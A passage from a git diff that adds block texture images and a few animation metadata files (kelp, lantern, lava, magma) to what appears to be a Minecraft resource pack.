b/src/assets/minecraft/textures/block/grass_block_top.png differ diff --git a/src/assets/minecraft/textures/block/grass_path_side.png b/src/assets/minecraft/textures/block/grass_path_side.png new file mode 100644 index 00000000..c9de1352 Binary files /dev/null and b/src/assets/minecraft/textures/block/grass_path_side.png differ diff --git a/src/assets/minecraft/textures/block/grass_path_top.png b/src/assets/minecraft/textures/block/grass_path_top.png new file mode 100644 index 00000000..86c0a4c3 Binary files /dev/null and b/src/assets/minecraft/textures/block/grass_path_top.png differ diff --git a/src/assets/minecraft/textures/block/gravel.png b/src/assets/minecraft/textures/block/gravel.png new file mode 100644 index 00000000..1ee82331 Binary files /dev/null and b/src/assets/minecraft/textures/block/gravel.png differ diff --git a/src/assets/minecraft/textures/block/gray_concrete.png b/src/assets/minecraft/textures/block/gray_concrete.png new file mode 100644 index 00000000..ee95a153 Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_concrete.png differ diff --git a/src/assets/minecraft/textures/block/gray_concrete_powder.png b/src/assets/minecraft/textures/block/gray_concrete_powder.png new file mode 100644 index 00000000..7d5a4d16 Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/gray_glazed_terracotta.png b/src/assets/minecraft/textures/block/gray_glazed_terracotta.png new file mode 100644 index 00000000..8eab4edc Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/gray_shulker_box.png b/src/assets/minecraft/textures/block/gray_shulker_box.png new file mode 100644 index 00000000..8c9ce4ef Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/gray_stained_glass.png b/src/assets/minecraft/textures/block/gray_stained_glass.png new file mode 100644 index 00000000..e0663c0f Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/gray_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/gray_stained_glass_pane_top.png new file mode 100644 index 00000000..bb061147 Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/gray_terracotta.png b/src/assets/minecraft/textures/block/gray_terracotta.png new file mode 100644 index 00000000..dca1dd40 Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/gray_wool.png b/src/assets/minecraft/textures/block/gray_wool.png new file mode 100644 index 00000000..1d12e2d4 Binary files /dev/null and b/src/assets/minecraft/textures/block/gray_wool.png differ diff --git a/src/assets/minecraft/textures/block/green_concrete.png b/src/assets/minecraft/textures/block/green_concrete.png new file mode 100644 index 00000000..87188983 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_concrete.png differ diff --git a/src/assets/minecraft/textures/block/green_concrete_powder.png b/src/assets/minecraft/textures/block/green_concrete_powder.png new file mode 100644 index 00000000..c3c78ec9 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/green_glazed_terracotta.png b/src/assets/minecraft/textures/block/green_glazed_terracotta.png new file mode 100644 index 00000000..c1f81deb Binary files /dev/null and b/src/assets/minecraft/textures/block/green_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/green_shulker_box.png b/src/assets/minecraft/textures/block/green_shulker_box.png new file mode 100644 index 00000000..1b4214c6 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/green_stained_glass.png b/src/assets/minecraft/textures/block/green_stained_glass.png new file mode 100644 index 00000000..e4c0eba9 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/green_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/green_stained_glass_pane_top.png new file mode 100644 index 00000000..a7d9fc7d Binary files /dev/null and b/src/assets/minecraft/textures/block/green_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/green_terracotta.png b/src/assets/minecraft/textures/block/green_terracotta.png new file mode 100644 index 00000000..3c52b336 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/green_wool.png b/src/assets/minecraft/textures/block/green_wool.png new file mode 100644 index 00000000..f8bc1ef4 Binary files /dev/null and b/src/assets/minecraft/textures/block/green_wool.png differ diff --git a/src/assets/minecraft/textures/block/grindstone_pivot.png b/src/assets/minecraft/textures/block/grindstone_pivot.png new file mode 100644 index 00000000..07970482 Binary files /dev/null and b/src/assets/minecraft/textures/block/grindstone_pivot.png differ diff --git a/src/assets/minecraft/textures/block/grindstone_round.png b/src/assets/minecraft/textures/block/grindstone_round.png new file mode 100644 index 00000000..dfedeb0d Binary files /dev/null and b/src/assets/minecraft/textures/block/grindstone_round.png differ diff --git a/src/assets/minecraft/textures/block/grindstone_side.png b/src/assets/minecraft/textures/block/grindstone_side.png new file mode 100644 index 00000000..4aa2658e Binary files /dev/null and b/src/assets/minecraft/textures/block/grindstone_side.png differ diff --git a/src/assets/minecraft/textures/block/hay_block_side.png b/src/assets/minecraft/textures/block/hay_block_side.png new file mode 100644 index 00000000..7b734ebc Binary files /dev/null and b/src/assets/minecraft/textures/block/hay_block_side.png differ diff --git a/src/assets/minecraft/textures/block/hay_block_top.png b/src/assets/minecraft/textures/block/hay_block_top.png new file mode 100644 index 00000000..84ee05ea Binary files /dev/null and b/src/assets/minecraft/textures/block/hay_block_top.png differ diff --git a/src/assets/minecraft/textures/block/honey_block_bottom.png b/src/assets/minecraft/textures/block/honey_block_bottom.png new file mode 100644 index 00000000..cc13bc5b Binary files /dev/null and b/src/assets/minecraft/textures/block/honey_block_bottom.png differ diff --git a/src/assets/minecraft/textures/block/honey_block_side.png b/src/assets/minecraft/textures/block/honey_block_side.png new file mode 100644 index 00000000..071ca42e Binary files /dev/null and b/src/assets/minecraft/textures/block/honey_block_side.png differ diff --git a/src/assets/minecraft/textures/block/honey_block_top.png b/src/assets/minecraft/textures/block/honey_block_top.png new file mode 100644 index 00000000..7deb75dc Binary files /dev/null and b/src/assets/minecraft/textures/block/honey_block_top.png differ diff --git a/src/assets/minecraft/textures/block/honeycomb_block.png b/src/assets/minecraft/textures/block/honeycomb_block.png new file mode 100644 index 00000000..d19f7a01 Binary files /dev/null and b/src/assets/minecraft/textures/block/honeycomb_block.png differ diff --git a/src/assets/minecraft/textures/block/hopper_inside.png b/src/assets/minecraft/textures/block/hopper_inside.png new file mode 100644 index 00000000..17fcf4fa Binary files /dev/null and b/src/assets/minecraft/textures/block/hopper_inside.png differ diff --git a/src/assets/minecraft/textures/block/hopper_outside.png b/src/assets/minecraft/textures/block/hopper_outside.png new file mode 100644 index 00000000..b6265ea9 Binary files /dev/null and b/src/assets/minecraft/textures/block/hopper_outside.png differ diff --git a/src/assets/minecraft/textures/block/hopper_top.png b/src/assets/minecraft/textures/block/hopper_top.png new file mode 100644 index 00000000..709badc2 Binary files /dev/null and b/src/assets/minecraft/textures/block/hopper_top.png differ diff --git a/src/assets/minecraft/textures/block/horn_coral.png b/src/assets/minecraft/textures/block/horn_coral.png new file mode 100644 index 00000000..299064de Binary files /dev/null and b/src/assets/minecraft/textures/block/horn_coral.png differ diff --git a/src/assets/minecraft/textures/block/horn_coral_block.png b/src/assets/minecraft/textures/block/horn_coral_block.png new file mode 100644 index 00000000..6990cec3 Binary files /dev/null and b/src/assets/minecraft/textures/block/horn_coral_block.png differ diff --git a/src/assets/minecraft/textures/block/horn_coral_fan.png b/src/assets/minecraft/textures/block/horn_coral_fan.png new file mode 100644 index 00000000..da1fcd0a Binary files /dev/null and b/src/assets/minecraft/textures/block/horn_coral_fan.png differ diff --git a/src/assets/minecraft/textures/block/ice.png b/src/assets/minecraft/textures/block/ice.png new file mode 100644 index 00000000..10118468 Binary files /dev/null and b/src/assets/minecraft/textures/block/ice.png differ diff --git a/src/assets/minecraft/textures/block/iron_bars.png b/src/assets/minecraft/textures/block/iron_bars.png new file mode 100644 index 00000000..aee70f37 Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_bars.png differ diff --git a/src/assets/minecraft/textures/block/iron_block.png b/src/assets/minecraft/textures/block/iron_block.png new file mode 100644 index 00000000..5ecaf7fe Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_block.png differ diff --git a/src/assets/minecraft/textures/block/iron_door_bottom.png b/src/assets/minecraft/textures/block/iron_door_bottom.png new file mode 100644 index 00000000..240f8ae5 Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/iron_door_top.png b/src/assets/minecraft/textures/block/iron_door_top.png new file mode 100644 index 00000000..9b134f30 Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_door_top.png differ diff --git a/src/assets/minecraft/textures/block/iron_ore.png b/src/assets/minecraft/textures/block/iron_ore.png new file mode 100644 index 00000000..7037201d Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_ore.png differ diff --git a/src/assets/minecraft/textures/block/iron_trapdoor.png b/src/assets/minecraft/textures/block/iron_trapdoor.png new file mode 100644 index 00000000..6000d273 Binary files /dev/null and b/src/assets/minecraft/textures/block/iron_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/item_frame.png b/src/assets/minecraft/textures/block/item_frame.png new file mode 100644 index 00000000..095de1c9 Binary files /dev/null and b/src/assets/minecraft/textures/block/item_frame.png differ diff --git a/src/assets/minecraft/textures/block/jack_o_lantern.png b/src/assets/minecraft/textures/block/jack_o_lantern.png new file mode 100644 index 00000000..813db302 Binary files /dev/null and b/src/assets/minecraft/textures/block/jack_o_lantern.png differ diff --git a/src/assets/minecraft/textures/block/jigsaw_bottom.png b/src/assets/minecraft/textures/block/jigsaw_bottom.png new file mode 100644 index 00000000..71c16d8b Binary files /dev/null and b/src/assets/minecraft/textures/block/jigsaw_bottom.png differ diff --git a/src/assets/minecraft/textures/block/jigsaw_lock.png b/src/assets/minecraft/textures/block/jigsaw_lock.png new file mode 100644 index 00000000..0b5691f5 Binary files /dev/null and b/src/assets/minecraft/textures/block/jigsaw_lock.png differ diff --git a/src/assets/minecraft/textures/block/jigsaw_side.png b/src/assets/minecraft/textures/block/jigsaw_side.png new file mode 100644 index 00000000..5b5cd65c Binary files /dev/null and b/src/assets/minecraft/textures/block/jigsaw_side.png differ diff --git a/src/assets/minecraft/textures/block/jigsaw_top.png b/src/assets/minecraft/textures/block/jigsaw_top.png new file mode 100644 index 00000000..f9f5bca2 Binary files /dev/null and b/src/assets/minecraft/textures/block/jigsaw_top.png differ diff --git a/src/assets/minecraft/textures/block/jukebox_side.png b/src/assets/minecraft/textures/block/jukebox_side.png new file mode 100644 index 00000000..82430ca0 Binary files /dev/null and b/src/assets/minecraft/textures/block/jukebox_side.png differ diff --git a/src/assets/minecraft/textures/block/jukebox_top.png b/src/assets/minecraft/textures/block/jukebox_top.png new file mode 100644 index 00000000..da45dfe8 Binary files /dev/null and b/src/assets/minecraft/textures/block/jukebox_top.png differ diff --git a/src/assets/minecraft/textures/block/jungle_door_bottom.png b/src/assets/minecraft/textures/block/jungle_door_bottom.png new file mode 100644 index 00000000..7178f132 Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_door_bottom.png differ diff --git a/src/assets/minecraft/textures/block/jungle_door_top.png b/src/assets/minecraft/textures/block/jungle_door_top.png new file mode 100644 index 00000000..8af416a3 Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_door_top.png differ diff --git a/src/assets/minecraft/textures/block/jungle_leaves.png b/src/assets/minecraft/textures/block/jungle_leaves.png new file mode 100644 index 00000000..0c1176b8 Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_leaves.png differ diff --git a/src/assets/minecraft/textures/block/jungle_log.png b/src/assets/minecraft/textures/block/jungle_log.png new file mode 100644 index 00000000..030bfc8f Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_log.png differ diff --git a/src/assets/minecraft/textures/block/jungle_log_top.png b/src/assets/minecraft/textures/block/jungle_log_top.png new file mode 100644 index 00000000..0195d05d Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_log_top.png differ diff --git a/src/assets/minecraft/textures/block/jungle_planks.png b/src/assets/minecraft/textures/block/jungle_planks.png new file mode 100644 index 00000000..c2c72cbb Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_planks.png differ diff --git a/src/assets/minecraft/textures/block/jungle_sapling.png b/src/assets/minecraft/textures/block/jungle_sapling.png new file mode 100644 index 00000000..a33daa7a Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_sapling.png differ diff --git a/src/assets/minecraft/textures/block/jungle_trapdoor.png b/src/assets/minecraft/textures/block/jungle_trapdoor.png new file mode 100644 index 00000000..477a599a Binary files /dev/null and b/src/assets/minecraft/textures/block/jungle_trapdoor.png differ diff --git a/src/assets/minecraft/textures/block/kelp.png b/src/assets/minecraft/textures/block/kelp.png new file mode 100644 index 00000000..6877da32 Binary files /dev/null and b/src/assets/minecraft/textures/block/kelp.png differ diff --git a/src/assets/minecraft/textures/block/kelp.png.mcmeta b/src/assets/minecraft/textures/block/kelp.png.mcmeta new file mode 100644 index 00000000..0645f48c --- /dev/null +++ b/src/assets/minecraft/textures/block/kelp.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/kelp_plant.png b/src/assets/minecraft/textures/block/kelp_plant.png new file mode 100644 index 00000000..ca6b31cc Binary files /dev/null and b/src/assets/minecraft/textures/block/kelp_plant.png differ diff --git a/src/assets/minecraft/textures/block/kelp_plant.png.mcmeta b/src/assets/minecraft/textures/block/kelp_plant.png.mcmeta new file mode 100644 index 00000000..0645f48c --- /dev/null +++ b/src/assets/minecraft/textures/block/kelp_plant.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 2 + } +} diff --git a/src/assets/minecraft/textures/block/ladder.png b/src/assets/minecraft/textures/block/ladder.png new file mode 100644 index 00000000..3500180a Binary files /dev/null and b/src/assets/minecraft/textures/block/ladder.png differ diff --git a/src/assets/minecraft/textures/block/lantern.png b/src/assets/minecraft/textures/block/lantern.png new file mode 100644 index 00000000..e3f2ab9e Binary files /dev/null and b/src/assets/minecraft/textures/block/lantern.png differ diff --git a/src/assets/minecraft/textures/block/lantern.png.mcmeta b/src/assets/minecraft/textures/block/lantern.png.mcmeta new file mode 100644 index 00000000..5169aabd --- /dev/null +++ b/src/assets/minecraft/textures/block/lantern.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 8 + } +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/lapis_block.png b/src/assets/minecraft/textures/block/lapis_block.png new file mode 100644 index 00000000..6987aa5d Binary files /dev/null and b/src/assets/minecraft/textures/block/lapis_block.png differ diff --git a/src/assets/minecraft/textures/block/lapis_ore.png b/src/assets/minecraft/textures/block/lapis_ore.png new file mode 100644 index 00000000..b95e637e Binary files /dev/null and b/src/assets/minecraft/textures/block/lapis_ore.png differ diff --git a/src/assets/minecraft/textures/block/large_fern_bottom.png b/src/assets/minecraft/textures/block/large_fern_bottom.png new file mode 100644 index 00000000..936cb7ba Binary files /dev/null and b/src/assets/minecraft/textures/block/large_fern_bottom.png differ diff --git a/src/assets/minecraft/textures/block/large_fern_top.png b/src/assets/minecraft/textures/block/large_fern_top.png new file mode 100644 index 00000000..56da4f41 Binary files /dev/null and b/src/assets/minecraft/textures/block/large_fern_top.png differ diff --git a/src/assets/minecraft/textures/block/lava_flow.png b/src/assets/minecraft/textures/block/lava_flow.png new file mode 100644 index 00000000..ccb5d6b1 Binary files /dev/null and b/src/assets/minecraft/textures/block/lava_flow.png differ diff --git a/src/assets/minecraft/textures/block/lava_flow.png.mcmeta b/src/assets/minecraft/textures/block/lava_flow.png.mcmeta new file mode 100644 index 00000000..8e55e43b --- /dev/null +++ b/src/assets/minecraft/textures/block/lava_flow.png.mcmeta @@ -0,0 +1,5 @@ +{ + "animation": { + "frametime": 3 + } +} diff --git a/src/assets/minecraft/textures/block/lava_still.png b/src/assets/minecraft/textures/block/lava_still.png new file mode 100644 index 00000000..e62298ce Binary files /dev/null and b/src/assets/minecraft/textures/block/lava_still.png differ diff --git a/src/assets/minecraft/textures/block/lava_still.png.mcmeta b/src/assets/minecraft/textures/block/lava_still.png.mcmeta new file mode 100644 index 00000000..7ceb3639 --- /dev/null +++ b/src/assets/minecraft/textures/block/lava_still.png.mcmeta @@ -0,0 +1,45 @@ +{ + "animation": { + "frametime": 2, + "frames": [ + 0, + 1, + 2, + 3, + 4, + 5, + 6, + 7, + 8, + 9, + 10, + 11, + 12, + 13, + 14, + 15, + 16, + 17, + 18, + 19, + 18, + 17, + 16, + 15, + 14, + 13, + 12, + 11, + 10, + 9, + 8, + 7, + 6, + 5, + 4, + 3, + 2, + 1 + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/textures/block/lectern_base.png b/src/assets/minecraft/textures/block/lectern_base.png new file mode 100644 index 00000000..6f7a6aae Binary files /dev/null and b/src/assets/minecraft/textures/block/lectern_base.png differ diff --git a/src/assets/minecraft/textures/block/lectern_front.png b/src/assets/minecraft/textures/block/lectern_front.png new file mode 100644 index 00000000..6073d128 Binary files /dev/null and b/src/assets/minecraft/textures/block/lectern_front.png differ diff --git a/src/assets/minecraft/textures/block/lectern_sides.png b/src/assets/minecraft/textures/block/lectern_sides.png new file mode 100644 index 00000000..5e6955ca Binary files /dev/null and b/src/assets/minecraft/textures/block/lectern_sides.png differ diff --git a/src/assets/minecraft/textures/block/lectern_top.png b/src/assets/minecraft/textures/block/lectern_top.png new file mode 100644 index 00000000..b81566aa Binary files /dev/null and b/src/assets/minecraft/textures/block/lectern_top.png differ diff --git a/src/assets/minecraft/textures/block/lever.png b/src/assets/minecraft/textures/block/lever.png new file mode 100644 index 00000000..102f5d73 Binary files /dev/null and b/src/assets/minecraft/textures/block/lever.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_concrete.png b/src/assets/minecraft/textures/block/light_blue_concrete.png new file mode 100644 index 00000000..d5a46fe2 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_concrete.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_concrete_powder.png b/src/assets/minecraft/textures/block/light_blue_concrete_powder.png new file mode 100644 index 00000000..fe8b7796 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_glazed_terracotta.png b/src/assets/minecraft/textures/block/light_blue_glazed_terracotta.png new file mode 100644 index 00000000..516fb7ed Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_shulker_box.png b/src/assets/minecraft/textures/block/light_blue_shulker_box.png new file mode 100644 index 00000000..597f4c50 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_stained_glass.png b/src/assets/minecraft/textures/block/light_blue_stained_glass.png new file mode 100644 index 00000000..7d74ebc5 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/light_blue_stained_glass_pane_top.png new file mode 100644 index 00000000..6a0e661d Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_terracotta.png b/src/assets/minecraft/textures/block/light_blue_terracotta.png new file mode 100644 index 00000000..31606234 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/light_blue_wool.png b/src/assets/minecraft/textures/block/light_blue_wool.png new file mode 100644 index 00000000..529c92a3 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_blue_wool.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_concrete.png b/src/assets/minecraft/textures/block/light_gray_concrete.png new file mode 100644 index 00000000..21d57aa1 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_concrete.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_concrete_powder.png b/src/assets/minecraft/textures/block/light_gray_concrete_powder.png new file mode 100644 index 00000000..18ebf59a Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_glazed_terracotta.png b/src/assets/minecraft/textures/block/light_gray_glazed_terracotta.png new file mode 100644 index 00000000..34787109 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_shulker_box.png b/src/assets/minecraft/textures/block/light_gray_shulker_box.png new file mode 100644 index 00000000..63e494d0 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_stained_glass.png b/src/assets/minecraft/textures/block/light_gray_stained_glass.png new file mode 100644 index 00000000..964b1fbb Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/light_gray_stained_glass_pane_top.png new file mode 100644 index 00000000..f226ecc9 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_terracotta.png b/src/assets/minecraft/textures/block/light_gray_terracotta.png new file mode 100644 index 00000000..cf7b22ed Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/light_gray_wool.png b/src/assets/minecraft/textures/block/light_gray_wool.png new file mode 100644 index 00000000..f7f13534 Binary files /dev/null and b/src/assets/minecraft/textures/block/light_gray_wool.png differ diff --git a/src/assets/minecraft/textures/block/lilac_bottom.png b/src/assets/minecraft/textures/block/lilac_bottom.png new file mode 100644 index 00000000..3e164d0b Binary files /dev/null and b/src/assets/minecraft/textures/block/lilac_bottom.png differ diff --git a/src/assets/minecraft/textures/block/lilac_top.png b/src/assets/minecraft/textures/block/lilac_top.png new file mode 100644 index 00000000..e2932bd5 Binary files /dev/null and b/src/assets/minecraft/textures/block/lilac_top.png differ diff --git a/src/assets/minecraft/textures/block/lily_of_the_valley.png b/src/assets/minecraft/textures/block/lily_of_the_valley.png new file mode 100644 index 00000000..d306de61 Binary files /dev/null and b/src/assets/minecraft/textures/block/lily_of_the_valley.png differ diff --git a/src/assets/minecraft/textures/block/lily_pad.png b/src/assets/minecraft/textures/block/lily_pad.png new file mode 100644 index 00000000..51608269 Binary files /dev/null and b/src/assets/minecraft/textures/block/lily_pad.png differ diff --git a/src/assets/minecraft/textures/block/lime_concrete.png b/src/assets/minecraft/textures/block/lime_concrete.png new file mode 100644 index 00000000..c4df61ec Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_concrete.png differ diff --git a/src/assets/minecraft/textures/block/lime_concrete_powder.png b/src/assets/minecraft/textures/block/lime_concrete_powder.png new file mode 100644 index 00000000..780aaeef Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/lime_glazed_terracotta.png b/src/assets/minecraft/textures/block/lime_glazed_terracotta.png new file mode 100644 index 00000000..d5ad2b60 Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/lime_shulker_box.png b/src/assets/minecraft/textures/block/lime_shulker_box.png new file mode 100644 index 00000000..339b7651 Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/lime_stained_glass.png b/src/assets/minecraft/textures/block/lime_stained_glass.png new file mode 100644 index 00000000..d2dc1bd1 Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/lime_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/lime_stained_glass_pane_top.png new file mode 100644 index 00000000..0607d75b Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/lime_terracotta.png b/src/assets/minecraft/textures/block/lime_terracotta.png new file mode 100644 index 00000000..cdd0c4db Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/lime_wool.png b/src/assets/minecraft/textures/block/lime_wool.png new file mode 100644 index 00000000..e1067800 Binary files /dev/null and b/src/assets/minecraft/textures/block/lime_wool.png differ diff --git a/src/assets/minecraft/textures/block/lodestone_side.png b/src/assets/minecraft/textures/block/lodestone_side.png new file mode 100644 index 00000000..8e7f079d Binary files /dev/null and b/src/assets/minecraft/textures/block/lodestone_side.png differ diff --git a/src/assets/minecraft/textures/block/lodestone_top.png b/src/assets/minecraft/textures/block/lodestone_top.png new file mode 100644 index 00000000..cdd5401f Binary files /dev/null and b/src/assets/minecraft/textures/block/lodestone_top.png differ diff --git a/src/assets/minecraft/textures/block/loom_bottom.png b/src/assets/minecraft/textures/block/loom_bottom.png new file mode 100644 index 00000000..8bb12eb7 Binary files /dev/null and b/src/assets/minecraft/textures/block/loom_bottom.png differ diff --git a/src/assets/minecraft/textures/block/loom_front.png b/src/assets/minecraft/textures/block/loom_front.png new file mode 100644 index 00000000..e2541b1f Binary files /dev/null and b/src/assets/minecraft/textures/block/loom_front.png differ diff --git a/src/assets/minecraft/textures/block/loom_side.png b/src/assets/minecraft/textures/block/loom_side.png new file mode 100644 index 00000000..a1ed406f Binary files /dev/null and b/src/assets/minecraft/textures/block/loom_side.png differ diff --git a/src/assets/minecraft/textures/block/loom_top.png b/src/assets/minecraft/textures/block/loom_top.png new file mode 100644 index 00000000..b90555f0 Binary files /dev/null and b/src/assets/minecraft/textures/block/loom_top.png differ diff --git a/src/assets/minecraft/textures/block/magenta_concrete.png b/src/assets/minecraft/textures/block/magenta_concrete.png new file mode 100644 index 00000000..35326207 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_concrete.png differ diff --git a/src/assets/minecraft/textures/block/magenta_concrete_powder.png b/src/assets/minecraft/textures/block/magenta_concrete_powder.png new file mode 100644 index 00000000..054553d3 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_concrete_powder.png differ diff --git a/src/assets/minecraft/textures/block/magenta_glazed_terracotta.png b/src/assets/minecraft/textures/block/magenta_glazed_terracotta.png new file mode 100644 index 00000000..5d6eb3a5 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_glazed_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/magenta_shulker_box.png b/src/assets/minecraft/textures/block/magenta_shulker_box.png new file mode 100644 index 00000000..ad343936 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_shulker_box.png differ diff --git a/src/assets/minecraft/textures/block/magenta_stained_glass.png b/src/assets/minecraft/textures/block/magenta_stained_glass.png new file mode 100644 index 00000000..87dd7ba7 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_stained_glass.png differ diff --git a/src/assets/minecraft/textures/block/magenta_stained_glass_pane_top.png b/src/assets/minecraft/textures/block/magenta_stained_glass_pane_top.png new file mode 100644 index 00000000..5419e521 Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_stained_glass_pane_top.png differ diff --git a/src/assets/minecraft/textures/block/magenta_terracotta.png b/src/assets/minecraft/textures/block/magenta_terracotta.png new file mode 100644 index 00000000..f28da0db Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_terracotta.png differ diff --git a/src/assets/minecraft/textures/block/magenta_wool.png b/src/assets/minecraft/textures/block/magenta_wool.png new file mode 100644 index 00000000..b9700a8b Binary files /dev/null and b/src/assets/minecraft/textures/block/magenta_wool.png differ diff --git a/src/assets/minecraft/textures/block/magma.png b/src/assets/minecraft/textures/block/magma.png new file mode 100644 index 00000000..702265d0 Binary files /dev/null and b/src/assets/minecraft/textures/block/magma.png differ diff --git a/src/assets/minecraft/textures/block/magma.png.mcmeta b/src/assets/minecraft/textures/block/magma.png.mcmeta new file mode 100644 index 00000000..ffc3e528 --- /dev/null +++ b/src/assets/minecraft/textures/block/magma.png.mcmeta @@ -0,0 +1,11 @@ +{ + "animation": { + "frametime": 8, + "interpolate": true, + "frames": [ + 0, + 1, + 2 + ] + } +} diff --git a/src/assets/minecraft/textures/block/melon_side.png b/src/assets/minecraft/textures/block/melon_side.png new file mode 100644 index 00000000..0a12fb96 Binary files /dev/null and b/src/assets/minecraft/textures/block/melon_side.png differ diff --git a/src/assets/minecraft/textures/block/melon_stem.png b/src/assets/minecraft/textures/block/melon_stem.png new file mode 100644 index 00000000..38065ef6 Binary files /dev/null and b/src/assets/minecraft/textures/block/melon_stem.png differ diff --git a/src/assets/minecraft/textures/block/melon_top.png b/src/assets/minecraft/textures/block/melon_top.png new file mode 100644 index 00000000..82234a85 Binary files /dev/null and b/src/assets/minecraft/textures/block/melon_top.png differ diff --git a/src/assets/minecraft/textures/block/mossy_cobblestone.png b/src/assets/minecraft/textures/block/mossy_cobblestone.png new file mode 100644 index 00000000..cc048882 Binary files /dev/null and b/src/assets/minecraft/textures/block/mossy_cobblestone.png differ diff --git a/src/assets/minecraft/textures/block/mossy_stone_bricks.png b/src/assets/minecraft/textures/block/mossy_stone_bricks.png new file mode 100644 index 00000000..2bdfb878 Binary files /dev/null and b/src/assets/minecraft/textures/block/mossy_stone_bricks.png differ diff --git a/src/assets/minecraft/textures/block/mushroom_block_inside.png b/src/assets/minecraft/textures/block/mushroom_block_inside.png new file 